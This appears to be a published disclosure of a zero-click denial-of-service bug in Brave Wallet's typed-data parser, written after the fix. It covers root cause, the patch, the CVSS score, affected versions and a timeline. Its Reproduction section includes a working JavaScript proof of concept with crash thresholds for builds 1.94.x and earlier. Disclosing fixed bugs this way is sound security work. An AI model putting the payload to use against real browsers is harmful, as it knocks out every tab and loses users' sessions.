essays on the failure of machines
30 Jul 2026 · 827 words · 4 min

Unauthenticated zero-click remote crash of the Brave browser process

CVSS 7.4 (High)

Status

Fixed. Brave shipped the patch in Brave 1.95.101 (Chromium 153.0.8010.37) on 2026-09-11, and every later release contains it. Brave tracked the issue as a public P3 crash bug and issued no CVE and no security advisory.

Summary

An unauthenticated, zero-click remote denial of service crashes the entire Brave browser process — every tab, not a single renderer. Any https page can trigger it by calling eth_signTypedData_v4 (EIP-712) on Brave Wallet’s injected provider. No wallet connection, no wallet creation, and no user interaction beyond loading the page are required, because the crash happens while the typed-data payload is being parsed — before any permission check runs.

  • Class: unbounded recursion → stack exhaustion (DoS)
  • Reach: any secure-context web page; no wallet, no connection, no interaction
  • Blast radius: whole browser process (all tabs), session lost, browser restarts
  • Not RCE: guard pages turn the overflow into a clean crash

Versions

BraveChromiumStatus
1.92.144150.0.7871.186vulnerable — crash validated
1.94.121152.0.7977.83vulnerable — crash reproduced by Brave QA
1.95.96 beta152.0.7977.64fixed — QA verified
1.95.101 stable153.0.8010.37fixed — first stable release
1.100.x (current stable)—fixed

The iterative parser is present in brave-core branches 1.95.x through 1.101.x; branches 1.92.x–1.94.x still carry the recursive one.

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H — 7.4 (High)

Scope is Changed: a single malicious origin takes down all tabs, including unrelated origins. Availability is High (whole-process crash). If the payload is delivered via a third-party embed (ad/iframe) on a page the victim already has open, UI:N applies and the score rises to 8.6 (High). Brave’s own triage severity was P3; the score above is the reporter’s assessment.

Root cause

In the pre-fix code, EthSignTypedDataHelper::FindAllDependencyTypes recursed once per unknown referenced type with no depth limit:

components/brave_wallet/common/eth_sign_typed_data_helper.cc:80   (pre-fix)

A flat types dictionary of N chained custom types (T0 → T1 → … → TN) drives N-deep recursion in the browser process. Chromium’s JSON depth cap does not help: the dictionary’s nesting is only 3 levels deep, while recursion depth equals the attacker-controlled chain length (~200–500 bytes of stack per frame against an 8 MB stack).

The fix

FindAllDependencyTypes was replaced by FindAndValidateAllDependencyTypes, an iterative breadth-first walk over a base::queue with an absl::flat_hash_set of visited type names. It also keeps string_views into the types dictionary instead of cloning each member list:

components/brave_wallet/common/eth_sign_typed_data_helper.cc   (fixed)

Recursion depth no longer tracks chain length, and the visited set terminates cyclic type graphs. ParseEthSignTypedDataParams additionally gained a null check on GetTypeHash() before hex-encoding the result. The PR added unit tests for long chains and cyclic dependencies.

The patch removes the stack-exhaustion vector, not all cost: a huge types dictionary is still O(N) memory and CPU in the browser process, and EncodeField / EncodeData still recurse over message data — depth there is bounded by base::JSONReader’s nesting limit, not by the attacker-controlled type chain.

Why it’s reachable before any permission check

The recursion runs during payload parsing, ahead of every wallet/permission gate:

browser/ethereum_provider_impl.cc:1034-1043   HandleEthSignTypedDataV4Method
  → common/eth_request_helper.cc:409-471       ParseEthSignTypedDataParams
      → EthSignTypedDataHelper::Create          ← recursion happened here (pre-fix)
  → SignTypedMessage                            ← permission checks only afterwards

Affected population

  • No wallet connection needed — parsing precedes permission checks (above).
  • No wallet creation needed on default profiles — window.braveEthereum is injected unconditionally:
    components/brave_wallet/renderer/js_ethereum_provider.cc:223
    browser/profiles/brave_renderer_updater.cc:248-250
    
    The is_wallet_created gate applies only to window.ethereum, not window.braveEthereum.
  • Requirements: a secure-context page (any https origin — renderer/brave_wallet/brave_wallet_render_frame_observer.cc:52-56) and a visible tab (kMethodsRequireInteraction).

⇒ Every default Brave desktop install on 1.94.x or earlier that loads a malicious https page was affected.

Reproduction

A self-contained page (no network calls) using window.braveEthereum with window.ethereum as fallback:

const types = {EIP712Domain: []};
for (let i = 0; i < N; i++) types["T" + i] = [{name: "f", type: "T" + (i + 1)}];
types["T" + N] = [{name: "f", type: "string"}];
(window.braveEthereum || window.ethereum).request({
  method: "eth_signTypedData_v4",
  params: [
    "0x" + "0".repeat(40),
    JSON.stringify({types, primaryType: "T0", domain: {}, message: {f: "x"}})
  ]
});
  1. Serve the page over any secure context (https, or http://localhost).
  2. Open it in a default Brave profile and trigger the call with a large N.
  3. On 1.94.x and earlier the entire browser process crashes (stack exhaustion); all tabs are lost and the browser restarts into session restore. On 1.95.101 and later the same call no longer crashes the browser.

On the validated build, N = 10k survived and N = 50k crashed reliably. A progressive sweep (10k → 200k) locates the threshold on other builds.

Impact

Denial of service against the whole browser process — not a single tab — with total reachability: any web page, no wallet connection required. It is not RCE; guard pages turn the overflow into a clean crash.

Timeline

  • 2026-07-24: Brave 1.92.144 released — the build used to validate the crash
  • 2026-07-30: reported to Brave Security
  • 2026-08-04: Brave filed public tracking bug #57815 (crash, priority/P3)
  • 2026-08-12: fix merged (brave-core#38803)
  • 2026-09-07: Brave QA reproduced on 1.94.121, confirmed 1.95.96 beta fixed
  • 2026-09-11: Brave 1.95.101 stable shipped the fix
  • 2026-11-26: write-up published